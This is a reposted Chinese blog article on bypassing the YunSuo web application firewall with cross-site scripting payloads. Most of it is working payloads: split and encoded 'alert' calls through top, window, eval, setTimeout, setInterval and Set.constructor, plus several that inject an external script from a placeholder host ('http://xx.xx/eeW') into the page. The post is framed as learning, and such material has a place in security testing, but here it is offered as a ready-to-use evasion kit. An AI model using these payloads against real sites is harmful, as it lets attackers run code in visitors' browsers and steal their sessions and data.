前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Bypass | XSS Payload绕过云锁学习

Bypass | XSS Payload绕过云锁学习

作者头像
HACK学习
发布2019-10-14 15:17:57
2.1K0
发布2019-10-14 15:17:57
举报
文章被收录于专栏:HACK学习HACK学习

前言

对于我这个菜鸟来说,我通过谷歌百度学习到很多前辈的资料,甚至每句话都是他的指导,我也很感激前辈的为我们铺设的道路,让我们更快的成长起来。我也乐于分享,可能有些知识点过于单调或者久远,请见谅。

WAF


前几天花了10买了一个月的服务器,换个WAF来测试。

Bypass

遗漏标签就不测试了,上一篇水文[https://www.anquanke.com/post/id/176185]的分享的标签也可以过,不信找几个试试= =

好吧非常打脸,拦截了。

然而换个prompt()函数???免费版当然是这样的啦,高级服务不仅我买不起,还绕不过啊,而且我不是真正的站长,规则我也不会设啊,总之就是这也不会那也不会。

Top属性类似的补充


还记得上篇的top属性嘛

实际上可以利用的还有好几个,看到这里各位是否get到什么了。

我们可以利用的类似拼接的对象又多了几个,例如:

代码语言:javascript
复制
//一家人就是要整整齐齐
<details open ontoggle=top['al'%2B'ert'](1) >
<details open ontoggle=self['al'%2B'ert'](1) >
<details open ontoggle=parent['al'%2B'ert'](1) >
<details open ontoggle=frames['al'%2B'ert'](1) >
<details open ontoggle=content['al'%2B'ert'](1) >
<details open ontoggle=window['al'%2B'ert'](1) >

这些都可以绕过waf,总结起来有 top self parent frames content window,无疑top是最短的,所谓短小精悍,这里借用PKAV的一张ppt。

其他补充

除了拆分构造,我们必须要了解还有编码,这个确实是老生常谈的话题,先看个例子吧

将e字母url编码,成功弹窗也绕过waf。 <details open ontoggle=top['al%65rt'](1) >

其他编码

代码语言:javascript
复制
JS8编码:
<details open ontoggle=top['al\145rt'](1) >
<details open ontoggle=top['\141\154\145\162\164'](1) >
JS16编码:
<details open ontoggle=top['al\x65rt'](1) >
其他
<details open ontoggle=top[/al/.source%2B/ert/.source](1) >

parseInt()与toString()


parseInt()

例子: alert字符串用parseInt函数,以基数为30转化后为8680439

toString()

例子: toString函数将返回的数字8680439,以基数为30还原

这样你就能理解下面这个例子了。

代码语言:javascript
复制
<details open ontoggle=top[8680439..toString(30)](1); >
<details open ontoggle=top[11189117..toString(32)](1); >

俩个例子


例1

代码语言:javascript
复制
<img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>

这个例子很巧妙,将altlang属性分别赋值合并起来就是alert,并在top属性内将2个属性相加。

例2

代码语言:javascript
复制
 <details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>

在top属性内添加2个变量,并赋值构造eval,然后执行alert(1)

测试下,拦截了。

其实waf拦截的是alert这个关键字,换个prompt()函数就过了

也可以选择将alert(1)编码,因为有eval存在啊,直接拿来用

代码语言:javascript
复制
<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>

setTimeout()函数也是没问题的,毕竟也能执行代码。

代码语言:javascript
复制
<details open ontoggle=top[a='meout',b='setTi',b%2ba]('\141\154\145\162\164\50\61\51')>

eval函数的补充


setTimeout

WAF拦截

代码语言:javascript
复制
<svg/onload=setTimeout`alert(1)`>

编码下,就绕过了。

代码语言:javascript
复制
<svg/onload=setTimeout`alert\u0028233\u0029`>
setInterval

setInterval不同,对于setTimeout()只执行code一次。

<svg/onload=setInterval('al'%2b'ert(1)')>

绕过waf,引用外部js。

代码语言:javascript
复制
<svg/onload=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
其他
代码语言:javascript
复制
拆分与编码
<svg/onload=\u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(appendChild(createElement('sc\162ipt')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(\u0061ppendChild(\u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
 
结合函数:
<iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') >
<svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('') >
<svg/onload=s=\u0063reateElement('scr'%2b'ipt');\u0062ody.\u0061ppendChild(s);s.src='http://x'.concat('x.xx/','eeW'); >

扩展


关于运用基于DOM的方法创建和插入节点把外部JS文件注入到网页,这种方法在<<XSS跨站脚本剖析与防御>>有介绍过。我这里简单演示下,如果你了解或者不感兴趣可以跳过这段。

首先用createElement方法创建一个script标签。

接下来给<script>的src属性设置成外部url

可以看到<script>标签以及src属性已经被创建出来,但是并不在页面上输出啊。

我们就要用到appendChild()方法将变量s插入页面。

再来看看页面上

constructor属性

少年!Post到什么了没有。

又是拆分。。注意后面的()

代码语言:javascript
复制
<svg/onload=Set.constructor('al'%2b'ert(1)')()>

反引号我看行。。注意后面2个反引号。

代码语言:javascript
复制
<svg/onload=Set.constructor`al\x65rt\x28/xss/\x29```>

又来引用外部url。编码拆分以及结合函数,请参考上章= =,不然我怕有人说我水。。。

代码语言:javascript
复制
<svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()>

补充(又是补充,你**就不能一次讲完嘛!写个文章还划水!)


咳咳,该补充的还是要补充的,除了 Set 对象还有嘛?当然有的。

看些例子,都可以弹窗。

来个简单拆分。

总结起来就是Set.constructor Map.constructor clear.constructor Array.constructor WeakSet.constructor WeakMap.constructor(注意区分大小写的)

代码语言:javascript
复制
<svg/onload=Set.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Map.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=clear.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Array.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=WeakSet.constructor`al\x65rt\x28/xss/\x29```>

引用外部...

感兴趣的同学可以关注:https://github.com/S9MF/Xss_Test/blob/master/waf/YunSuo.md

参考致谢

http://www.vulnerability-lab.com/resources/documents/531.txt

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection

推荐阅读:

https://github.com/S9MF/Xss_Test/

喜欢支持记得点个star!

参考来源:Github

作者:S9MF

如有侵权,请联系删除

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • WAF
    • Bypass
      • 其他补充
        • parseInt()与toString()
          • 俩个例子
            • setTimeout
            • setInterval
            • 其他
        • eval函数的补充
          • 扩展
            • constructor属性
              • 补充(又是补充,你**就不能一次讲完嘛!写个文章还划水!)
              • 参考致谢
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档